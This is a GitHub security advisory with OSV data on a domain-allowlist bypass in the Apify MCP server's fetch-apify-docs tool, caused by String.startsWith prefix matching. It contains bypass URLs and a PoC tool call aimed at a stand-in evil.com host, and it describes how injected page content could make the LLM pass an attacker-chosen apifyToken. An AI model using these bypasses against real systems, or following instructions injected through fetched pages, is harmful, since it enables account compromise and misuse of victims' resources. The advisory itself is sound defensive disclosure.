GHSA-JWP7-WG77-3W9V
Vulnerability from github – Published: 2026-05-19 16:34 – Updated: 2026-05-19 16:34Summary
The fetch-apify-docs tool validates URLs against a domain allowlist using String.startsWith() instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., https://docs.apify.com.evil.com/), enabling the tool to fetch and return arbitrary web content to the LLM.
Details
Vulnerable component
src/tools/common/fetch_apify_docs.ts, line 51:
const isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) => url.startsWith(domain));
src/const.ts, lines 167-170:
export const ALLOWED_DOC_DOMAINS = [
'https://docs.apify.com',
'https://crawlee.dev',
] as const;
How the bypass works
String.startsWith('https://docs.apify.com') matches any string beginning with that prefix, including:
https://docs.apify.com.evil.com/payload- attacker-controlled subdomainhttps://docs.apify.com@evil.com/payload- userinfo component in URL (browser behavior varies, butfetch()in Node.js may follow this)https://docs.apify.com.evil.com:8080/path- custom port on attacker domain
All of these pass the startsWith check because they begin with the exact string https://docs.apify.com.
The fetched content is returned to the LLM
After the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (fetch_apify_docs.ts:69-103):
const response = await fetch(url);
// ...
const html = await response.text();
markdown = htmlToMarkdown(html);
// ...
return buildMCPResponse({ texts: [`Fetched content from ${url}:\n\n${markdown}`], ... });
The HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker's page can contain instructions that the LLM may follow.
While tools like get-html-skeleton have no domain allowlist at all - it accepts any URL. The fetch-apify-docs tool was clearly intended to be more restricted (documentation-only), but the startsWith check defeats that intent.
PoC
{
"method": "tools/call",
"params": {
"name": "fetch-apify-docs",
"arguments": {
"url": "https://docs.apify.com.evil.com/prompt-injection-payload"
}
}
}
The URL passes the startsWith('https://docs.apify.com') check, fetches the attacker's page, and returns its content to the LLM.
Impact
- Prompt injection via fetched content: Attacker hosts a page at
docs.apify.com.evil.comcontaining LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions. - Security boundary violation: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.
- SSRF (limited): The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.
- Account compromise via _meta.apifyToken: Injected prompt instructions can direct the LLM to include a specific
_meta.apifyToken(the server's per-request token feature) in subsequentcall-actorinvocations, redirecting billable operations to a victim's account or accessing their private Actors
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@apify/actors-mcp-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46341"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-183"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T16:34:34Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe `fetch-apify-docs` tool validates URLs against a domain allowlist using `String.startsWith()` instead of proper URL hostname comparison. This allows bypass via attacker-controlled subdomains (e.g., `https://docs.apify.com.evil.com/`), enabling the tool to fetch and return arbitrary web content to the LLM.\n\n### Details\n#### Vulnerable component\n\n`src/tools/common/fetch_apify_docs.ts`, line 51:\n\n```typescript\nconst isAllowedDomain = ALLOWED_DOC_DOMAINS.some((domain) =\u003e url.startsWith(domain));\n```\n\n`src/const.ts`, lines 167-170:\n\n```typescript\nexport const ALLOWED_DOC_DOMAINS = [\n \u0027https://docs.apify.com\u0027,\n \u0027https://crawlee.dev\u0027,\n] as const;\n```\n\n#### How the bypass works\n\n`String.startsWith(\u0027https://docs.apify.com\u0027)` matches any string beginning with that prefix, including:\n\n- `https://docs.apify.com.evil.com/payload` - attacker-controlled subdomain\n- `https://docs.apify.com@evil.com/payload` - userinfo component in URL (browser behavior varies, but `fetch()` in Node.js may follow this)\n- `https://docs.apify.com.evil.com:8080/path` - custom port on attacker domain\n\nAll of these pass the `startsWith` check because they begin with the exact string `https://docs.apify.com`.\n\n#### The fetched content is returned to the LLM\n\nAfter the allowlist check passes, the tool fetches the URL and returns the full page content as markdown (`fetch_apify_docs.ts:69-103`):\n\n```typescript\nconst response = await fetch(url);\n// ...\nconst html = await response.text();\nmarkdown = htmlToMarkdown(html);\n// ...\nreturn buildMCPResponse({ texts: [`Fetched content from ${url}:\\n\\n${markdown}`], ... });\n```\n\nThe HTML is converted to markdown and returned verbatim to the LLM. This creates a prompt injection vector - the attacker\u0027s page can contain instructions that the LLM may follow.\n\nWhile tools like `get-html-skeleton` have no domain allowlist at all - it accepts any URL. The `fetch-apify-docs` tool was clearly intended to be more restricted (documentation-only), but the `startsWith` check defeats that intent.\n\n### PoC\n```json\n{\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"fetch-apify-docs\",\n \"arguments\": {\n \"url\": \"https://docs.apify.com.evil.com/prompt-injection-payload\"\n }\n }\n}\n```\n\nThe URL passes the `startsWith(\u0027https://docs.apify.com\u0027)` check, fetches the attacker\u0027s page, and returns its content to the LLM.\n### Impact\n- **Prompt injection via fetched content**: Attacker hosts a page at `docs.apify.com.evil.com` containing LLM instructions. When the tool fetches and returns this content, the LLM may follow the injected instructions.\n- **Security boundary violation**: The allowlist was explicitly designed to restrict fetching to trusted documentation domains. The bypass defeats this intent.\n- **SSRF (limited)**: The tool can fetch from attacker-controlled servers, though the primary risk is the content returned to the LLM rather than network access.\n- **Account compromise via _meta.apifyToken**: Injected prompt instructions can direct the LLM to include a specific `_meta.apifyToken` (the server\u0027s per-request token feature) in subsequent `call-actor` invocations, redirecting billable operations to a victim\u0027s account or accessing their private Actors",
"id": "GHSA-jwp7-wg77-3w9v",
"modified": "2026-05-19T16:34:35Z",
"published": "2026-05-19T16:34:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apify/apify-mcp-server/security/advisories/GHSA-jwp7-wg77-3w9v"
},
{
"type": "PACKAGE",
"url": "https://github.com/apify/apify-mcp-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apify Model Context Protocol (MCP) server: Domain Allowlist Bypass in fetch-apify-docs via String Prefix Matching"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.